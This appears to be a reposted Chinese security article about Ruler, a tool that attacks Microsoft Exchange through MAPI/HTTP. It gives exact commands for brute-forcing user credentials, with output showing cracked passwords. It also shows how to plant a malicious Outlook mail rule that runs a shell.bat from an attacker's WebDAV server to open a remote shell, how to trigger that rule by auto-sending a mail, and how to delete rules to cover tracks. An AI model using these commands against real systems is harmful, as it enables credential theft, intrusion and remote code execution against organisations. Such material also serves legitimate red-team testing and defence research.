Ruler:一款利用Exchange服务渗透的安全工具

来源:互联网 发布:直销软件结算系统公司 编辑:程序博客网 时间:2024/06/01 08:13

Ruler是一款能够通过MAPI/HTTP协议与Exchange服务器交互的工具。其目的在于测试outlook客户端的邮件规则,规则详情请见:Silentbreakblog

Silentbreak对该攻击行为的研究非常到位,给我们带来了极大的便利。唯一的缺点是它的安装时间过长。复制邮箱到一个新的Outlook实例比较耗时。创建邮件规则也相对麻烦。那么有人可能会问,难道就没有更好的payload生成器么?因此Ruler就这样诞生了。

ruler.png

Ruler的实现方式和MAPI的相关资料请参见博客:SensePostblog

运行demo的链接地址:Ruler onYouTube

它能做什么?

Ruler包含多种已经实现的和正在研发或计划研发的功能,包括:

  • 枚举有效用户
  • 查看当前配置邮件规则
  • 创建新的恶意邮件规则
  • 删除邮件规则

当与Exchange交互并使用自动发现服务(与Outlook客户端一样)发现相关信息时,Ruler会处于半智能状态。

获取代码

Ruler是用Go语言编写的,因此你需要有GO语言环境来运行并创建相关项目。第一步是克隆它的仓库。

git clone https://github.com/sensepost/ruler.git

或者你可以直接通过Go命令获取。

go get github.com/sensepost/ruler

如果你想运行这个APP的话请使用 go run

go run ruler.goh

或直接创建一个(首选):

go build

Exchange交互

它目前与用于OutlookAnywhere的新版 MAPI/HTTP 协议兼容,且可能与被 MAPI 取代的旧版 RPC/HTTP 协议存在不兼容的情况。

凭证的暴力破解

如果你走暴力破解的路线,那么Ruler绝对是你的菜。它有一个内置的暴力破解工具,能够做寻找凭证这项半智能的工作。

./ruler -domain targetdomain.com -brute -usernames/path/to/user.txt -passwords /path/to/passwords.txt

你应该看得到你正在运行的暴力破解过程:

./ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

[*] Starting bruteforce

[x] Failed: cindy.baker:P@ssw0rd

[x] Failed: henry.hammond:P@ssw0rd

[x] Failed: john.ford:P@ssw0rd

[x] Failed: cindy.baker:August2016

[x] Failed: henry.hammond:August2016

[+] Success: john.ford:August2016

[*] Multiple attempts. To prevent lockout - delaying for0 minutes.

[x] Failed: cindy.baker:Evilcorp@2016

[x] Failed: henry.hammond:Evilcorp@2016

[x] Failed: cindy.baker:3V1lc0rp

[x] Failed: henry.hammond:3V1lc0rp

[*] Multiple attempts. To prevent lockout - delaying for0 minutes.

[x] Failed: henry.hammond:Password1

[+] Success: cindy.baker:Password1

[x] Failed: henry.hammond:Password!2016

[*] Multiple attempts. To prevent lockout - delaying for0 minutes.

[x] Failed: henry.hammond:SensePost1

[x] Failed: henry.hammond:Lekker

[*] Multiple attempts. To prevent lockout - delaying for0 minutes.

[x] Failed: henry.hammond:Eish

或者,你可以使用-userpass选项指定用户传递文件。 用户传递文件应以冒号分隔,每行一对凭证:

$ cat userpass.txt

john.ford:August2016

henry.hammond:Password!2016

cindy.baker:Password1

./ruler -domain evilcorp.ninja -brute -userpassuserpass.txt -v -insecure

[*] Starting bruteforce

[+] Success: john.ford:August2016

[x] Failed: henry.hammond:Password!2016

[+] Success: cindy.baker:Password1

还有其它的一些参数与-brute协同工作,包括:

  • -stop //在第一个有效的用户名上停止:密码combo
  • -delay //多次密码猜测之间的停留时间间隔
  • -attempts //在停留之前需要进行几次尝试(每个用户的尝试次数)
  • -insecure //当Exchange服务器有一个坏的SSL证书时
  • -v //详细地显示失败的尝试

自动发现服务(The autodiscover service)

尽管Ruler在“自动发现”必要设置上作出了很大的努力,但你仍然可能会遇到失败的情况。一般原因有以下几点:

  • 自动发现http/非https上的部署(我们默认https是更为普遍的情况)
  • 无自动发现DNS记录
  • 身份验证失败

若你碰到使自动发现服务崩溃的Exchange服务器,你可以手动设置自动发现的目标URL:

./ruler -urlhttp://autodiscover.somedomain.com/autodiscover/autodiscover.xml

若碰到身份验证问题(并且确定登录凭证正确无误),你可以尝试强制使用-basic进行基本身份验证。

-vflag同样能给你一些自动发现服务所使用进程的提示。

显示现有规则/账户验证

只要有一组凭证,你就可以以该用户的邮箱为目标,但我们需要知道该用户的邮箱地址(邮箱地址簿搜索功能已列入研发计划)

./ruler -domain targetdomain.com -emailuser@targetdomain.com -user username -pass password –display

输出:

./ruler -domain evilcorp.ninja -user john.ford -passAugust2016 -email john.ford@evilcorp.ninja -display -insecure

[*] Retrieving MAPI info

[*] Doing Autodiscover for domain

[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja

[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford

[*] Got Context, Doing ROPLogin

[*] And we are authenticated

[+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]

[*] Openning the Inbox

[+] Retrieving Rules

[+] Found 0 rules

删除现有规则(清理痕迹)

例如:通过模糊匹配000000df1(规则名称附近的ruleId)来删除相应规则

./ruler -domain targetdomain.com -emailuser@targetdomain.com -user username -pass password -delete 000000df1

反弹shell

 现在到最有意思的部分了。你的初始设置和Silentbreak博客所述的是一样的,设置您的控制端服务器来承载您的payload。

创建新的规则用户Ruler以及:

./ruler -domain targetdomain.com -emailuser@targetdomain.com -user username -pass password -loc"\\\\yourserver\\webdav\\shell.bat" -trigger "pop a shell"-rule maliciousrule

各个部分:

  • -loc 表示远程shell的位置,连接远程shell时请注意使用双斜杠\(或者c:/Windows/system32/calc.exe)
  • -trigger 表示主题中你想用来触发规则的命令
  • -rule 表示你所创建规则的名称

输出:

[*] Retrieving MAPI info

[*] Doing Autodiscover for domain

[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja

[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford

[*] Got Context, Doing ROPLogin

[*] And we are authenticated

[+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]

[*] Openning the Inbox

[*] Adding Rule

[*] Rule Added. Fetching list of rules...

[+] Found 1 rules

Rule: shell RuleID: 01000000127380b1

现在你可以发一封邮件给你的目标,并且将执行代码写在邮件的主题行中。从测试邮件规则开始都是同步发送的,因此在通常的情况下假设目标的outlook处于打开并联网的状态,你应该能够立即获取对方的shell。

半自动化攻击(Semi-Autopwn

如果你想实现自动化地触发规则,Ruler能利用用户自己的邮箱在他们的收件箱中创建一个新邮件。也就是说你不再需要向你的攻击目标发送邮件,只要在创建规则时使用-send这个参数即可。你所创建的规则同步需要等待30秒(如果你觉得30秒太长或太短都可以在源码中作出调整),然后通过MAPI发送邮件。

[*] Retrieving MAPI/HTTP info

[*] Doing Autodiscover for domain

[*] Autodiscover step 0 - URL:https://outlook.com/autodiscover/autodiscover.xml

[+] MAPI URL found: https://outlook.office365.com/mapi/emsmdb/?MailboxId=0003bffd-fef9-fb24-0000-000000000000@outlook.com

[+] User DN: /o=First Organization/ou=Exchange AdministrativeGroup(FYDIBOHF23SPDLT)/cn=Recipients/cn=0003BFFDFEF9FB24

[*] Got Context, Doing ROPLogin

[*] And we are authenticated

[+] Mailbox GUID: dc561d32a809304b8dbc91cc9f0ae1e2

[*] Openning the Inbox

[*] Adding Rule

[*] Rule Added. Fetching list of rules...

[+] Found 1 rules

Rule: autopop RuleID: 010000000c4baa84

[*] Auto Send enabled, wait 30 seconds before sendingemail (synchronisation)

[*] Sending email

[*] Message sent, your shell should trigger shortly.

[*] And disconnecting from server

好好玩儿吧。但不要忘了通过删除规则(或永久保留)等方法清理干净。

工具下载地址:https://github.com/sensepost/ruler

*本文作者:Carrie_spinfo,转载请注明来自FreeBuf(FreeBuf.COM)

0 0
原创粉丝点击